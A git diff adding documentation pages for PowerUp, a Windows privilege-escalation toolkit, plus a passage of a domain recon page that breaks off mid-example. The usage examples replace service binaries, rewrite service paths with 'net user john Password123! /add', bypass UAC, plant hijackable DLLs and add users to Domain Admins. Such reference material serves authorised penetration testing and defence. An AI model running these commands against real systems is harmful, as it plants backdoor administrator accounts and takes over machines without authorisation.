a/docs/Privesc/Install-ServiceBinary.md b/docs/Privesc/Install-ServiceBinary.md new file mode 100755 index 00000000..bc75a2ae --- /dev/null +++ b/docs/Privesc/Install-ServiceBinary.md @@ -0,0 +1,175 @@ +# Install-ServiceBinary + +## SYNOPSIS +Replaces the service binary for the specified service with one that executes +a specified command as SYSTEM. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary + +## SYNTAX + +``` +Install-ServiceBinary [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] +``` + +## DESCRIPTION +Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the +current user can modify the associated service binary listed in the binPath. +Backs up +the original service binary to "OriginalService.exe.bak" in service binary location, +and then uses Write-ServiceBinary to create a C# service binary that either adds +a local administrator user or executes a custom command. +The new service binary is +replaced in the original service binary path, and a custom object is returned that +captures the original and new service binary configuration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Install-ServiceBinary +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds TESTLAB\john to the Administrators local group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (backdoor/Password123!). + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -Command "net ..." +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that executes a custom command. + +## PARAMETERS + +### -Name +The service name the EXE will be running under. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary.Installed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-PrivescAudit.md b/docs/Privesc/Invoke-PrivescAudit.md new file mode 100755 index 00000000..71109626 --- /dev/null +++ b/docs/Privesc/Invoke-PrivescAudit.md @@ -0,0 +1,63 @@ +# Invoke-PrivescAudit + +## SYNOPSIS +Executes all functions that check for various Windows privilege escalation opportunities. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Invoke-PrivescAudit [-HTMLReport] +``` + +## DESCRIPTION +Executes all functions that check for various Windows privilege escalation opportunities. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-PrivescAudit +``` + +Runs all escalation checks and outputs a status report for discovered issues. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-PrivescAudit -HTMLReport +``` + +Runs all escalation checks and outputs a status report to SYSTEM.username.html +detailing any discovered issues. + +## PARAMETERS + +### -HTMLReport +Switch. +Write a HTML version of the report to SYSTEM.username.html. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.String + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-ServiceAbuse.md b/docs/Privesc/Invoke-ServiceAbuse.md new file mode 100755 index 00000000..8d493d7a --- /dev/null +++ b/docs/Privesc/Invoke-ServiceAbuse.md @@ -0,0 +1,194 @@ +# Invoke-ServiceAbuse + +## SYNOPSIS +Abuses a function the current user has configuration rights on in order +to add a local administrator or execute a custom command. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath + +## SYNTAX + +``` +Invoke-ServiceAbuse [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] [-Force] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current +user has configuration modification rights on and executes a series of automated actions to +execute commands as SYSTEM. +First, the service is enabled if it was set as disabled and the +original service binary path and configuration state are preserved. +Then the service is stopped +and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a +series of commands, the service is started, stopped, and the next command is configured. +After +completion, the original service configuration is restored and a custom object is returned +that captures the service abused and commands run. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC +``` + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! +to the machine and local administrator group + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Invoke-ServiceAbuse +``` + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! +to the machine and local administrator group + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" +``` + +Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the +local adminisrtators group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" +``` + +Abuses service 'VulnSVC' to add a localuser "backdoor" with password +"password" to the machine and local "Power Users" group + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." +``` + +Abuses service 'VulnSVC' to execute a custom command. + +## PARAMETERS + +### -Name +An array of one or more service names to abuse. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Switch. +Force service stopping, even if other services are dependent. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.AbusedService + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-WScriptUACBypass.md b/docs/Privesc/Invoke-WScriptUACBypass.md new file mode 100755 index 00000000..f9eeb8d3 --- /dev/null +++ b/docs/Privesc/Invoke-WScriptUACBypass.md @@ -0,0 +1,85 @@ +# Invoke-WScriptUACBypass + +## SYNOPSIS +Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. + +Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Invoke-WScriptUACBypass [-Command] [-WindowStyle ] +``` + +## DESCRIPTION +Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute +VBScript using the wscript executable with the new manifest. +The VBScript executed by +C:\Windows\wscript.exe will run elevated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +" +``` + +Launches the specified PowerShell encoded command in high-integrity. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible' +``` + +Spawns a high integrity cmd.exe. + +## PARAMETERS + +### -Command +The shell command you want wscript.exe to run elevated. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CMD + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -WindowStyle +Whether to display or hide the window for the executed '-Command X'. +Accepted values are 'Hidden' and 'Normal'/'Visible. +Default is 'Hidden'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Hidden +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1](http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1) + diff --git a/docs/Privesc/Restore-ServiceBinary.md b/docs/Privesc/Restore-ServiceBinary.md new file mode 100755 index 00000000..a88fc297 --- /dev/null +++ b/docs/Privesc/Restore-ServiceBinary.md @@ -0,0 +1,87 @@ +# Restore-ServiceBinary + +## SYNOPSIS +Restores a service binary backed up by Install-ServiceBinary. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath + +## SYNTAX + +``` +Restore-ServiceBinary [-Name] [[-BackupPath] ] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and +checks for the existence of an "OriginalServiceBinary.exe.bak" in the service +binary location. +If it exists, the backup binary is restored to the original +binary path. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Restore-ServiceBinary -Name VulnSVC +``` + +Restore the original binary for the service 'VulnSVC'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Restore-ServiceBinary +``` + +Restore the original binary for the service 'VulnSVC'. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' +``` + +Restore the original binary for the service 'VulnSVC' from a custom location. + +## PARAMETERS + +### -Name +The service name to restore a binary for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -BackupPath +Optional manual path to the backup binary. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary.Installed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Set-ServiceBinaryPath.md b/docs/Privesc/Set-ServiceBinaryPath.md new file mode 100755 index 00000000..b39926fd --- /dev/null +++ b/docs/Privesc/Set-ServiceBinaryPath.md @@ -0,0 +1,92 @@ +# Set-ServiceBinaryPath + +## SYNOPSIS +Sets the binary path for a service to a specified value. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Set-ServiceBinaryPath [-Name] [-Path] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a +service handle to the service with ConfigControl access using the GetServiceHandle +Win32 API call. +ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) +to the string value specified by binPath, and the handle is closed off. + +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. +It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add' +``` + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add' +``` + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +## PARAMETERS + +### -Name +An array of one or more service names to set the binary path for. +Required. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +The new binary path (lpBinaryPathName) to set for the specified service. +Required. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: BinaryPath, binPath + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Boolean + +$True if configuration succeeds, $False otherwise. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx) + diff --git a/docs/Privesc/Test-ServiceDaclPermission.md b/docs/Privesc/Test-ServiceDaclPermission.md new file mode 100755 index 00000000..2251a116 --- /dev/null +++ b/docs/Privesc/Test-ServiceDaclPermission.md @@ -0,0 +1,112 @@ +# Test-ServiceDaclPermission + +## SYNOPSIS +Tests one or more passed services or service names against a given permission set, +returning the service objects where the current user have the specified permissions. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl + +## SYNTAX + +``` +Test-ServiceDaclPermission [-Name] [-Permissions ] [-PermissionSet ] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds +a service Dacl to the service object with Add-ServiceDacl. +All group SIDs for the current +user are enumerated services where the user has some type of permission are filtered. +The +services are then filtered against a specified set of permissions, and services where the +current user have the specified permissions are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Service | Test-ServiceDaclPermission +``` + +Return all service objects where the current user can modify the service configuration. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' +``` + +Return all service objects that the current user can restart. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' +``` + +Return the VulnSVC object if the current user has start permissions. + +## PARAMETERS + +### -Name +An array of one or more service names to test against the specified permission set. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName, Service + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Permissions +A manual set of permission to test again. +One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', +'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', +'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', +'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PermissionSet +A pre-defined permission set to test a specified service against. +'ChangeConfig', 'Restart', or 'AllAccess'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: ChangeConfig +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### ServiceProcess.ServiceController + +## NOTES + +## RELATED LINKS + +[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) + diff --git a/docs/Privesc/Write-HijackDll.md b/docs/Privesc/Write-HijackDll.md new file mode 100755 index 00000000..d38e3e73 --- /dev/null +++ b/docs/Privesc/Write-HijackDll.md @@ -0,0 +1,173 @@ +# Write-HijackDll + +## SYNOPSIS +Patches in the path to a specified .bat (containing the specified command) into a +pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-HijackDll [-DllPath] [[-Architecture] ] [[-BatPath] ] [[-UserName] ] + [[-Password] ] [[-LocalGroup] ] [[-Credential] ] [[-Command] ] +``` + +## DESCRIPTION +First builds a self-deleting .bat file that executes the specified -Command or local user, +to add and writes the.bat out to -BatPath. +The BatPath is then patched into a pre-compiled +C++ DLL that is built to be hijackable by the IKEEXT service. +There are two DLLs, one for +x86 and one for x64, and both are contained as base64-encoded strings. +The DLL is then +written out to the specified OutputFile. + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -DllPath +File name to write the generated DLL out to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Architecture +The Architecture to generate for the DLL, x86 or x64. +If not specified, PowerUp +will try to automatically determine the correct architecture. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -BatPath +Path to the .bat for the DLL to launch. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Write-ServiceBinary.md b/docs/Privesc/Write-ServiceBinary.md new file mode 100755 index 00000000..7d588a54 --- /dev/null +++ b/docs/Privesc/Write-ServiceBinary.md @@ -0,0 +1,191 @@ +# Write-ServiceBinary + +## SYNOPSIS +Patches in the specified command to a pre-compiled C# service executable and +writes the binary out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-ServiceBinary [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] [-Path ] +``` + +## DESCRIPTION +Takes a pre-compiled C# service binary and patches in the appropriate commands needed +for service abuse. +If a -UserName/-Password or -Credential is specified, the command +patched in creates a local user and adds them to the specified -LocalGroup, otherwise +the specified -Command is patched in. +The binary is then written out to the specified +-ServicePath. +Either -Name must be specified for the service, or a proper object from +Get-Service must be passed on the pipeline in order to patch in the appropriate service +name the binary will be running under. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Write-ServiceBinary +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that adds +TESTLAB\john to the Administrators local group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (backdoor/Password123!). + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -Command "net ..." +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +executes a custom command. + +## PARAMETERS + +### -Name +The service name the EXE will be running under. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Path to write the binary out to, defaults to 'service.exe' in the local directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$(Convert-Path .)\service.exe" +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Write-UserAddMSI.md b/docs/Privesc/Write-UserAddMSI.md new file mode 100755 index 00000000..cac959d3 --- /dev/null +++ b/docs/Privesc/Write-UserAddMSI.md @@ -0,0 +1,56 @@ +# Write-UserAddMSI + +## SYNOPSIS +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-UserAddMSI [[-Path] ] +``` + +## DESCRIPTION +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Write-UserAddMSI +``` + +Writes the user add MSI to the local directory. + +## PARAMETERS + +### -Path +{{Fill Path Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: False +Position: 1 +Default value: UserAdd.msi +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.UserAddMSI + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/index.md b/docs/Privesc/index.md new file mode 100644 index 00000000..836e6748 --- /dev/null +++ b/docs/Privesc/index.md @@ -0,0 +1,55 @@ +## PowerUp + +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. + +Running Invoke-AllChecks will output any identifiable vulnerabilities along +with specifications for any abuse functions. The -HTMLReport flag will also +generate a COMPUTER.username.html version of the report. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + + +### Token/Privilege Enumeration/Abuse: + Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not + Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID + Enable-Privilege - enables a specific privilege for the current process + +### Service Enumeration/Abuse: + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Get-UnquotedService - returns services with unquoted paths that also have a space in the name + Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config + Get-ModifiableService - returns services the current user can modify + Get-ServiceDetail - returns detailed information about a specified service + Set-ServiceBinaryPath - sets the binary path for a service to a specified value + Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command + Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command + Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command + Restore-ServiceBinary - restores a replaced service binary with the original executable + +### DLL Hijacking: + Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL + +### Registry Checks: + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAutoLogon - checks for Autologon credentials in the registry + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + +### Miscellaneous Checks: + Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files + Get-UnattendedInstallFile - finds remaining unattended installation files + Get-Webconfig - checks for any encrypted web.config strings + Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords + Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files + Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files + +### Other Helpers/Meta-Functions: + Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify + Write-UserAddMSI - write out a MSI installer that prompts for a user to be added + Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe + Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) diff --git a/docs/Recon/Add-DomainGroupMember.md b/docs/Recon/Add-DomainGroupMember.md new file mode 100755 index 00000000..cc563e92 --- /dev/null +++ b/docs/Recon/Add-DomainGroupMember.md @@ -0,0 +1,142 @@ +# Add-DomainGroupMember + +## SYNOPSIS +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +Add-DomainGroupMember [-Identity] -Members [-Domain ] [-Credential ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. +For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' +``` + +Adds harmj0y to 'Domain Admins' in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | 